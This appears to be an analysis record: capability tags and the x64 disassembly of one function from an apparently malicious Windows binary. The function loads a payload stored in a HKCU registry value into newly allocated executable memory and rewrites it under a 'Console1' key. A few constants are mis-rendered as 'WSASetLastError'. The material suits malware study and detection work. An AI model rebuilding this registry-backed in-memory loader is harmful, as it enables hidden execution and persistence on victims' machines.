Function at 0x14000b010
Capabilities:
Allocate or change rwx memory
Delete registry value
Query or enumerate registry value
Set registry value

Disassembly:
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0xb10
mov qword [rsp + 0xaf8], 0xfffffffffffffffe
mov rax, qword [0x140256ac0]
xor rax, rsp
mov qword [rsp + 0xb00], rax
mov rax, qword [rsp + 0xb28]
movzx eax, byte [rax]
cmp eax, 0xc9
jne 0x14000b05c
jmp 0x14000b570
cmp dword [rsp + 0xb30], 0x65
jne 0x14000b3bf
mov dword [rsp + 0x34], 3
mov dword [rsp + 0x30], 0
lea rax, [rsp + 0x38]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
lea rdx, [0x1401b78c0]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14000b1b7
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x34]
xor r8d, r8d
mov rdx, qword [str._xe_]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov eax, dword [rsp + 0x30]
cmp rax, 0xa44
jbe 0x14000b1ac
mov eax, dword [rsp + 0x30]
mov ecx, eax
call fcn.1400108fc
mov qword [rsp + 0xac8], rax
mov rax, qword [rsp + 0xac8]
mov qword [rsp + 0x40], rax
mov eax, dword [rsp + 0x30]
mov r8d, eax
xor edx, edx
mov rcx, qword [rsp + 0x40]
call fcn.14018c1e0
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x34]
xor r8d, r8d
mov rdx, qword [str._xe_]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x14000b1ac
mov r8d, 0xa44
mov rdx, qword [rsp + 0x40]
lea rcx, [0x140258970]
call fcn.14018b500
movsxd rax, dword [0x140258b78]
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [0x1402593b8], rax
movsxd rax, dword [0x140258b78]
mov rcx, qword [rsp + 0x40]
add rcx, 0xa44
mov r8, rax
mov rdx, rcx
mov rcx, qword [0x1402593b8]
call fcn.14018b500
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rax, qword [rsp + 0xb28]
inc rax
lea rdx, [0x140258b7c]
mov rcx, rax
call fcn.14018cd18
test eax, eax
je 0x14000b3ad
cmp qword [0x1402593b8], 0
je 0x14000b203
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [0x1402593b8]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov qword [0x1402593b8], 0
mov dword [rsp + 0x60], 0
mov eax, 0x767b
mov word [rsp + 0x64], ax
mov eax, 0x5f55
mov word [rsp + 0x66], ax
mov eax, 0x6a21
mov word [rsp + 0x68], ax
mov eax, 0x5757
mov word [rsp + 0x6a], ax
mov eax, 0x2e
mov word [rsp + 0x6c], ax
mov eax, 0x64
mov word [rsp + 0x6e], ax
mov eax, WSASetLastError
mov word [rsp + 0x70], ax
mov eax, WSASetLastError
mov word [rsp + 0x72], ax
mov eax, 0x5f
mov word [rsp + 0x74], ax
mov eax, 0x62
mov word [rsp + 0x76], ax
mov eax, 0x69
mov word [rsp + 0x78], ax
mov eax, WSASetLastError
mov word [rsp + 0x7a], ax
xor eax, eax
mov word [rsp + 0x7c], ax
lea rax, [rsp + 0x7e]
mov rdi, rax
xor eax, eax
mov ecx, 0x1e4
rep stosb byte [rdi], al
lea rax, [rsp + 0x262]
mov rdi, rax
xor eax, eax
mov ecx, 2
rep stosb byte [rdi], al
mov dword [rsp + 0x264], 1
mov dword [rsp + 0x268], 0
lea rax, [rsp + 0x26c]
mov rdi, rax
xor eax, eax
mov ecx, 0x64
rep stosb byte [rdi], al
lea rax, [rsp + 0x2d0]
mov rdi, rax
xor eax, eax
mov ecx, 0x7d0
rep stosb byte [rdi], al
lea rax, [rsp + 0xaa0]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
mov qword [rsp + 0x48], 0
mov dword [rsp + 0x50], 0
mov dword [rsp + 0x50], 0xa45
mov eax, dword [rsp + 0x50]
mov ecx, eax
call fcn.1400108fc
mov qword [rsp + 0xad0], rax
mov rax, qword [rsp + 0xad0]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov byte [rax], 5
xor eax, eax
cmp eax, 1
je 0x14000b369
mov dword [rsp + 0xad8], 0xb
lea rdx, [0x140249d90]
lea rcx, [rsp + 0xad8]
call fcn.14018c124
nop
mov r8d, dword [rsp + 0x50]
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0xb20]
call fcn.140005900
cmp qword [rsp + 0x48], 0
je 0x14000b3ab
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0xae0], rax
mov rcx, qword [rsp + 0xae0]
call fcn.1400108f4
mov qword [rsp + 0x48], 0
jmp 0x14000b3ba
mov rcx, qword [rsp + 0xb20]
call fcn.14000afb0
jmp 0x14000b570
mov rax, qword [rsp + 0xb28]
inc rax
mov r8d, 0xa44
mov rdx, rax
lea rcx, [0x140258970]
call fcn.14018b500
movsxd rax, dword [0x140258b78]
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [0x1402593b8], rax
movsxd rax, dword [0x140258b78]
mov rcx, qword [rsp + 0xb28]
add rcx, 0xa45
mov r8, rax
mov rdx, rcx
mov rcx, qword [0x1402593b8]
call fcn.14018b500
movsxd rax, dword [0x140258b78]
add rax, 0xa44
mov dword [rsp + 0xab8], eax
movsxd rax, dword [rsp + 0xab8]
mov rcx, rax
call fcn.1400108fc
mov qword [rsp + 0xae8], rax
mov rax, qword [rsp + 0xae8]
mov qword [rsp + 0xab0], rax
cmp qword [rsp + 0xab0], 0
je 0x14000b52f
mov r8d, 0xa44
lea rdx, [0x140258970]
mov rcx, qword [rsp + 0xab0]
call fcn.14018b500
movsxd rax, dword [0x140258b78]
mov rcx, qword [rsp + 0xab0]
add rcx, 0xa44
mov r8, rax
mov rdx, qword [0x1402593b8]
call fcn.14018b500
lea r8, [rsp + 0xac0]
lea rdx, str.Console1
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x14000b521
mov rdx, qword [str._xe_]
mov rcx, qword [rsp + 0xac0]
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov eax, dword [rsp + 0xab8]
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0xab0]
mov qword [rsp + 0x20], rax
mov r9d, 3
xor r8d, r8d
mov rdx, qword [str._xe_]
mov rcx, qword [rsp + 0xac0]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0xac0]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp qword [rsp + 0xab0], 0
je 0x14000b563
mov rax, qword [rsp + 0xab0]
mov qword [rsp + 0xaf0], rax
mov rcx, qword [rsp + 0xaf0]
call fcn.1400108f4
mov qword [rsp + 0xab0], 0
mov rcx, qword [rsp + 0xb20]
call fcn.14000afb0
mov rcx, qword [rsp + 0xb00]
xor rcx, rsp
call fcn.14018ba90
add rsp, 0xb10
pop rdi
ret